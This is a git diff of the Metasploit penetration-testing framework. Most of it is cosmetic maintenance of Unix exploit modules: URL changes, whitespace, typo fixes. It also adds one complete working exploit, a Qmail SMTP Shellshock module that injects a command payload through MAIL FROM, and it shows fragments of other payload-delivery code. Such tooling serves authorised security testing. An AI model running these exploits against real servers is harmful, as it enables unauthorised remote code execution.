-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::Tcp
@@ -142,5 +141,4 @@ class MetasploitModule < Msf::Exploit::Remote
       fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure executing payload")
     end
   end
-
 end
diff --git a/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb b/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
index 6cc6bc91ce..f88a063367 100644
--- a/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
+++ b/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -110,5 +110,4 @@ class MetasploitModule < Msf::Exploit::Remote
     s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
     handler(s)
   end
-
 end
diff --git a/modules/exploits/unix/http/contentkeeperweb_mimencode.rb b/modules/exploits/unix/http/contentkeeperweb_mimencode.rb
index 073e781971..983320b10b 100644
--- a/modules/exploits/unix/http/contentkeeperweb_mimencode.rb
+++ b/modules/exploits/unix/http/contentkeeperweb_mimencode.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/http/ctek_skyrouter.rb b/modules/exploits/unix/http/ctek_skyrouter.rb
index 695d9ff127..df44dd6f44 100644
--- a/modules/exploits/unix/http/ctek_skyrouter.rb
+++ b/modules/exploits/unix/http/ctek_skyrouter.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -59,5 +59,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/unix/http/dell_kace_k1000_upload.rb b/modules/exploits/unix/http/dell_kace_k1000_upload.rb
index b053549692..20c64df72d 100644
--- a/modules/exploits/unix/http/dell_kace_k1000_upload.rb
+++ b/modules/exploits/unix/http/dell_kace_k1000_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/http/freepbx_callmenum.rb b/modules/exploits/unix/http/freepbx_callmenum.rb
index e09a280ec2..257d6a81d1 100644
--- a/modules/exploits/unix/http/freepbx_callmenum.rb
+++ b/modules/exploits/unix/http/freepbx_callmenum.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -78,6 +78,5 @@ class MetasploitModule < Msf::Exploit::Remote
       disconnect
     end
   end
-
 end
 
diff --git a/modules/exploits/unix/http/lifesize_room.rb b/modules/exploits/unix/http/lifesize_room.rb
index 92960402d1..fa18f67d63 100644
--- a/modules/exploits/unix/http/lifesize_room.rb
+++ b/modules/exploits/unix/http/lifesize_room.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'LifeSize Room Command Injection',
       'Description'    => %q{
           This module exploits a vulnerable resource in LifeSize
-        Room  versions 3.5.3 and 4.7.18 to inject OS commmands.  LifeSize
+        Room versions 3.5.3 and 4.7.18 to inject OS commands.  LifeSize
         Room is an appliance and thus the environment is limited
         resulting in a small set of payload options.
       },
@@ -104,5 +104,4 @@ class MetasploitModule < Msf::Exploit::Remote
         'headers'   => headers
     }, 10)
   end
-
 end
diff --git a/modules/exploits/unix/http/twiki_debug_plugins.rb b/modules/exploits/unix/http/twiki_debug_plugins.rb
index 3efc2b65a7..8568f4a146 100644
--- a/modules/exploits/unix/http/twiki_debug_plugins.rb
+++ b/modules/exploits/unix/http/twiki_debug_plugins.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -95,5 +95,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
 
   end
-
 end
diff --git a/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb b/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb
index 88aefdf2dd..63e9f740fe 100644
--- a/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb
+++ b/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb b/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb
index 883d688ac7..f6969c9aee 100644
--- a/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb
+++ b/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
diff --git a/modules/exploits/unix/local/at_persistence.rb b/modules/exploits/unix/local/at_persistence.rb
index 12e9e86aa8..f9bbe01b21 100644
--- a/modules/exploits/unix/local/at_persistence.rb
+++ b/modules/exploits/unix/local/at_persistence.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Local
         info,
         'Name'           => 'at(1) Persistence',
         'Description'    => %q(
-          This module achieves persisience by executing payloads via at(1).
+          This module achieves persistence by executing payloads via at(1).
         ),
         'License'        => MSF_LICENSE,
         'Author'         =>
diff --git a/modules/exploits/unix/local/chkrootkit.rb b/modules/exploits/unix/local/chkrootkit.rb
index bf1f1be6a3..284a3c9d8a 100644
--- a/modules/exploits/unix/local/chkrootkit.rb
+++ b/modules/exploits/unix/local/chkrootkit.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -71,5 +71,4 @@ class MetasploitModule < Msf::Exploit::Local
     print_status('Payload written to /tmp/update')
     print_status('Waiting for chkrootkit to run via cron...')
   end
-
 end
diff --git a/modules/exploits/unix/local/exim_perl_startup.rb b/modules/exploits/unix/local/exim_perl_startup.rb
index c27985ec7f..71834787a6 100644
--- a/modules/exploits/unix/local/exim_perl_startup.rb
+++ b/modules/exploits/unix/local/exim_perl_startup.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Local
-
   Rank = ExcellentRanking
 
   def initialize(info = {})
@@ -51,5 +50,4 @@ class MetasploitModule < Msf::Exploit::Local
     # PERL5DB technique from http://perldoc.perl.org/perlrun.html
     cmd_exec(%Q{PERL5OPT=-d PERL5DB='exec "#{c}"' exim -ps 2>&-})
   end
-
 end
diff --git a/modules/exploits/unix/local/netbsd_mail_local.rb b/modules/exploits/unix/local/netbsd_mail_local.rb
index 026c1f6708..764c845fba 100644
--- a/modules/exploits/unix/local/netbsd_mail_local.rb
+++ b/modules/exploits/unix/local/netbsd_mail_local.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/local/setuid_nmap.rb b/modules/exploits/unix/local/setuid_nmap.rb
index 8ee0aefb50..f10df3a014 100644
--- a/modules/exploits/unix/local/setuid_nmap.rb
+++ b/modules/exploits/unix/local/setuid_nmap.rb
@@ -1,11 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/exploit/exe'
 
-
 class MetasploitModule < Msf::Exploit::Local
   Rank = ExcellentRanking
 
diff --git a/modules/exploits/unix/misc/distcc_exec.rb b/modules/exploits/unix/misc/distcc_exec.rb
index fff3cf141c..bfcb868bf0 100644
--- a/modules/exploits/unix/misc/distcc_exec.rb
+++ b/modules/exploits/unix/misc/distcc_exec.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -141,5 +139,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     return res
   end
-
 end
diff --git a/modules/exploits/unix/misc/psh_auth_bypass.rb b/modules/exploits/unix/misc/psh_auth_bypass.rb
index 891082d982..efd720ef17 100644
--- a/modules/exploits/unix/misc/psh_auth_bypass.rb
+++ b/modules/exploits/unix/misc/psh_auth_bypass.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -22,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Remote
         'DisclosureDate'  => 'Jan 18 2013',
         'Description'     => %q(
           The login component of the Polycom Command Shell on Polycom HDX
-          video endpints, running software versions 3.0.5 and earlier,
+          video endpoints, running software versions 3.0.5 and earlier,
           is vulnerable to an authorization bypass when simultaneous
           connections are made to the service, allowing remote network
           attackers to gain access to a sandboxed telnet prompt without
diff --git a/modules/exploits/unix/misc/qnx_qconn_exec.rb b/modules/exploits/unix/misc/qnx_qconn_exec.rb
index 76ad90f2be..b5622f905c 100644
--- a/modules/exploits/unix/misc/qnx_qconn_exec.rb
+++ b/modules/exploits/unix/misc/qnx_qconn_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/misc/spamassassin_exec.rb b/modules/exploits/unix/misc/spamassassin_exec.rb
index 91506cc549..607df7bbd9 100644
--- a/modules/exploits/unix/misc/spamassassin_exec.rb
+++ b/modules/exploits/unix/misc/spamassassin_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -66,5 +66,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/unix/misc/xerox_mfp.rb b/modules/exploits/unix/misc/xerox_mfp.rb
index a78048791f..38735fbbee 100644
--- a/modules/exploits/unix/misc/xerox_mfp.rb
+++ b/modules/exploits/unix/misc/xerox_mfp.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = GoodRanking
   include Msf::Exploit::Remote::Tcp
 
@@ -14,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'     => %q{
         This module exploits a vulnerability found in Xerox Multifunction Printers (MFP). By
         supplying a modified Dynamic Loadable Module (DLM), it is possible to execute arbitrary
-        commands under root priviages.
+        commands under root privileges.
       },
       'Author'          =>
         [
diff --git a/modules/exploits/unix/misc/zabbix_agent_exec.rb b/modules/exploits/unix/misc/zabbix_agent_exec.rb
index c1ba7666d0..a6bf333c7c 100644
--- a/modules/exploits/unix/misc/zabbix_agent_exec.rb
+++ b/modules/exploits/unix/misc/zabbix_agent_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -88,5 +88,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("The zabbix agent should have executed our command.")
     disconnect
   end
-
 end
diff --git a/modules/exploits/unix/smtp/clamav_milter_blackhole.rb b/modules/exploits/unix/smtp/clamav_milter_blackhole.rb
index 8221fefaad..37d60feb93 100644
--- a/modules/exploits/unix/smtp/clamav_milter_blackhole.rb
+++ b/modules/exploits/unix/smtp/clamav_milter_blackhole.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -86,5 +86,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/unix/smtp/exim4_string_format.rb b/modules/exploits/unix/smtp/exim4_string_format.rb
index fbf3b20912..3684445fa3 100644
--- a/modules/exploits/unix/smtp/exim4_string_format.rb
+++ b/modules/exploits/unix/smtp/exim4_string_format.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -345,5 +345,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/unix/smtp/qmail_bash_env_exec.rb b/modules/exploits/unix/smtp/qmail_bash_env_exec.rb
new file mode 100644
index 0000000000..5f657dac0d
--- /dev/null
+++ b/modules/exploits/unix/smtp/qmail_bash_env_exec.rb
@@ -0,0 +1,109 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::Smtp
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => 'Qmail SMTP Bash Environment Variable Injection (Shellshock)',
+      'Description'    => %q{
+        This module exploits a shellshock vulnerability on Qmail, a public
+        domain MTA written in C that runs on Unix systems.
+        Due to the lack of validation on the MAIL FROM field, it is possible to
+        execute shell code on a system with a vulnerable BASH (Shellshock).
+        This flaw works on the latest Qmail versions (qmail-1.03 and
+        netqmail-1.06).
+        However, in order to execute code, /bin/sh has to be linked to bash
+        (usually default configuration) and a valid recipient must be set on the
+        RCPT TO field (usually admin@exampledomain.com).
+        The exploit does not work on the "qmailrocks" community version
+        as it ensures the MAILFROM field is well-formed.
+      },
+      'Author'         =>
+        [
+          'Mario Ledo (Metasploit module)',
+          'Gabriel Follon (Metasploit module)',
+          'Kyle George (Vulnerability discovery)'
+        ],
+      'License'        => MSF_LICENSE,
+      'Platform'       => ['unix'],
+      'Arch'           => ARCH_CMD,
+      'References'     =>
+        [
+          ['CVE', '2014-6271'],
+          ['CWE', '94'],
+          ['OSVDB', '112004'],
+          ['EDB', '34765'],
+          ['URL', 'http://seclists.org/oss-sec/2014/q3/649'],
+          ['URL', 'https://lists.gt.net/qmail/users/138578']
+        ],
+      'Payload'        =>
+        {
+          'BadChars' => "\x3e",
+          'Space'       => 888,
+          'DisableNops' => true,
+          'Compat'      =>
+            {
+              'PayloadType' => 'cmd',
+              'RequiredCmd' => 'generic telnet perl ruby python'
+              # telnet ruby python and perl works only if installed on target
+            }
+        },
+      'Targets'        => [ [ 'Automatic', { }] ],
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Sep 24 2014'
+    ))
+
+    deregister_options('MAILFROM')
+  end
+
+  def smtp_send(data = nil)
+    begin
+      result = ''
+      code = 0
+      sock.put("#{data}")
+      result = sock.get_once
+      result.chomp! if (result)
+      code = result[0..2].to_i if result
+      return result, code
+    rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError
+      return result, 0
+    rescue ::Exception => e
+      print_error("#{rhost}:#{rport} Error smtp_send: '#{e.class}' '#{e}'")
+      return nil, 0
+    end
+  end
+
+  def exploit
+    to = datastore['MAILTO']
+    connect
+    result = smtp_send("HELO localhost\r\n")
+    if result[1] < 200 || result[1] > 300
+      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
+    end
+    print_status('Sending the payload...')
+    result = smtp_send("mail from:<() { :; }; " + payload.encoded.gsub!(/\\/, '\\\\\\\\') + ">\r\n")
+    if result[1] < 200 || result[1] > 300
+      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
+    end
+    print_status("Sending RCPT TO #{to}")
+    result = smtp_send("rcpt to:<#{to}>\r\n")
+    if result[1] < 200 || result[1] > 300
+      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
+    end
+    result = smtp_send("data\r\n")
+    if result[1] < 200 || result[1] > 354
+      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
+    end
+    result = smtp_send("data\r\n\r\nfoo\r\n\r\n.\r\n")
+    if result[1] < 200 || result[1] > 300
+      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
+    end
+    disconnect
+  end
+end
diff --git a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb
index 0be76d0106..4ee91ab322 100644
--- a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb
+++ b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -179,14 +179,13 @@ class MetasploitModule < Msf::Exploit::Remote
     fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh
 
     if datastore['SSHKEY']
-      print_good("#{rhost}:#{rport} - Login Successful with '#{user}:SSH PRIVATE KEY'")
+      print_good("#{rhost}:#{rport} - Login Successful (#{user}:SSH PRIVATE KEY)")
     else
-      print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'")
+      print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
     end
 
     # Make the SSH connection and execute our commands + payload
     print_status("#{rhost}:#{rport} - Sending and executing payload to gain root privileges!")
     Net::SSH::CommandStream.new(ssh, build_command, true)
   end
-
 end
diff --git a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb
index 863cb65f06..53a0a22034 100644
--- a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb
+++ b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb b/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb
index c07127bfb3..8d90116034 100644
--- a/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb
+++ b/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -27,6 +27,7 @@ class MetasploitModule < Msf::Exploit::Remote
         ],
       'References'      =>
         [
+          ['CVE', '2014-5470'],
           ['EDB', '34450'],
           ['OSVDB', '110601']
         ],
@@ -184,36 +185,14 @@ class MetasploitModule < Msf::Exploit::Remote
     if !res
       vprint_error("Connection failed")
     elsif res.code == 200 && res.body =~ />Login</
-      vprint_status("Login failed.")
+      vprint_error("Login failed")
     elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
       vprint_good("Found analytics host: #{analytics_host}")
-      print_good("Login successful! (#{user}:#{pass})")
-      service_data = {
-        address: Rex::Socket.getaddress(rhost, true),
-        port: rport,
-        service_name: (ssl ? 'https' : 'http'),
-        protocol: 'tcp',
-        workspace_id: myworkspace_id
-      }
-      credential_data = {
-        origin_type: :service,
-        module_fullname: fullname,
-        private_type: :password,
-        private_data: pass,
-        username: user
-      }
-      credential_data.merge!(service_data)
-      credential_core = create_credential(credential_data)
-      login_data = {
-        core: credential_core,
-        last_attempted_at: DateTime.now,
-        status: Metasploit::Model::Login::Status::SUCCESSFUL
-      }
-      login_data.merge!(service_data)
-      create_credential_login(login_data)
+      print_good("Login Successful (#{user}:#{pass})")
+      store_valid_credential(user: user, private: pass)
       return analytics_host
     else
-      vprint_status("Could not find any hosts on admin.php")
+      vprint_error("Could not find any hosts on admin.php")
     end
     nil
   end
diff --git a/modules/exploits/unix/webapp/arkeia_upload_exec.rb b/modules/exploits/unix/webapp/arkeia_upload_exec.rb
index 9e12f2f1f7..66de9d9938 100644
--- a/modules/exploits/unix/webapp/arkeia_upload_exec.rb
+++ b/modules/exploits/unix/webapp/arkeia_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -127,5 +127,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/unix/webapp/awstats_configdir_exec.rb b/modules/exploits/unix/webapp/awstats_configdir_exec.rb
index 6b8146c091..d0ff988709 100644
--- a/modules/exploits/unix/webapp/awstats_configdir_exec.rb
+++ b/modules/exploits/unix/webapp/awstats_configdir_exec.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -94,5 +92,4 @@ class MetasploitModule < Msf::Exploit::Remote
       print_status("No response from the server")
     end
   end
-
 end
diff --git a/modules/exploits/unix/webapp/awstats_migrate_exec.rb b/modules/exploits/unix/webapp/awstats_migrate_exec.rb
index 483201541f..8d63607452 100644
--- a/modules/exploits/unix/webapp/awstats_migrate_exec.rb
+++ b/modules/exploits/unix/webapp/awstats_migrate_exec.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -17,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits an arbitrary command execution vulnerability in the
         AWStats CGI script. AWStats v6.4 and v6.5 are vulnerable. Perl based
         payloads are recommended with this module. The vulnerability is only
-        present when AllowToUpdateStatsFromBrowser is enabled in the AWstats
+        present when AllowToUpdateStatsFromBrowser is enabled in the AWStats
         configuration file (non-default).
       },
       'Author'         => [ 'patrick' ],
@@ -98,5 +96,4 @@ class MetasploitModule < Msf::Exploit::Remote
       print_status("No response from the server")
     end
   end
-
 end
diff --git a/modules/exploits/unix/webapp/awstatstotals_multisort.rb b/modules/exploits/unix/webapp/awstatstotals_multisort.rb
index c93582aa32..c338aa0e9f 100644
--- a/modules/exploits/unix/webapp/awstatstotals_multisort.rb
+++ b/modules/exploits/unix/webapp/awstatstotals_multisort.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -92,5 +90,4 @@ class MetasploitModule < Msf::Exploit::Remote
       print_status("No response from the server")
     end
   end
-
 end
diff --git a/modules/exploits/unix/webapp/barracuda_img_exec.rb b/modules/exploits/unix/webapp/barracuda_img_exec.rb
index b3d7c78b25..e703cce4c5 100644
--- a/modules/exploits/unix/webapp/barracuda_img_exec.rb
+++ b/modules/exploits/unix/webapp/barracuda_img_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Barracuda IMG.PL Remote Command Execution',
       'Description'    => %q{
           This module exploits an arbitrary command execution vulnerability in the
-        Barracuda Spam Firewall appliance. Versions prior to  3.1.18 are vulnerable.
+        Barracuda Spam Firewall appliance. Versions prior to 3.1.18 are vulnerable.
       },
       'Author'         => [ 'Nicolas Gregoire <ngregoire[at]exaprobe.com>', 'hdm' ],
       'License'        => MSF_LICENSE,
@@ -90,5 +90,4 @@ class MetasploitModule < Msf::Exploit::Remote
       print_status("No response from the server")
     end
   end
-
 end
diff --git a/modules/exploits/unix/webapp/base_qry_common.rb b/modules/exploits/unix/webapp/base_qry_common.rb
index c20b11d31f..417f08c797 100644
--- a/modules/exploits/unix/webapp/base_qry_common.rb
+++ b/modules/exploits/unix/webapp/base_qry_common.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -64,5 +64,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/unix/webapp/basilic_diff_exec.rb b/modules/exploits/unix/webapp/basilic_diff_exec.rb
index 1af0a3913d..d9f19b320d 100644
--- a/modules/exploits/unix/webapp/basilic_diff_exec.rb
+++ b/modules/exploits/unix/webapp/basilic_diff_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/cacti_graphimage_exec.rb b/modules/exploits/unix/webapp/cacti_graphimage_exec.rb
index abcc40ec4c..483ab9b91e 100644
--- a/modules/exploits/unix/webapp/cacti_graphimage_exec.rb
+++ b/modules/exploits/unix/webapp/cacti_graphimage_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -95,5 +95,4 @@ class MetasploitModule < Msf::Exploit::Remote
       print_status("No response from the server")
     end
   end
-
 end
diff --git a/modules/exploits/unix/webapp/cakephp_cache_corruption.rb b/modules/exploits/unix/webapp/cakephp_cache_corruption.rb
index 1b661e7398..3d3312f8f2 100644
--- a/modules/exploits/unix/webapp/cakephp_cache_corruption.rb
+++ b/modules/exploits/unix/webapp/cakephp_cache_corruption.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/carberp_backdoor_exec.rb b/modules/exploits/unix/webapp/carberp_backdoor_exec.rb
index 0cfc144159..f2b9135322 100644
--- a/modules/exploits/unix/webapp/carberp_backdoor_exec.rb
+++ b/modules/exploits/unix/webapp/carberp_backdoor_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb b/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb
index 422e6eda43..98f8030385 100644
--- a/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb
+++ b/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
diff --git a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb
index 217814691e..315f010494 100644
--- a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb
+++ b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -110,5 +110,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
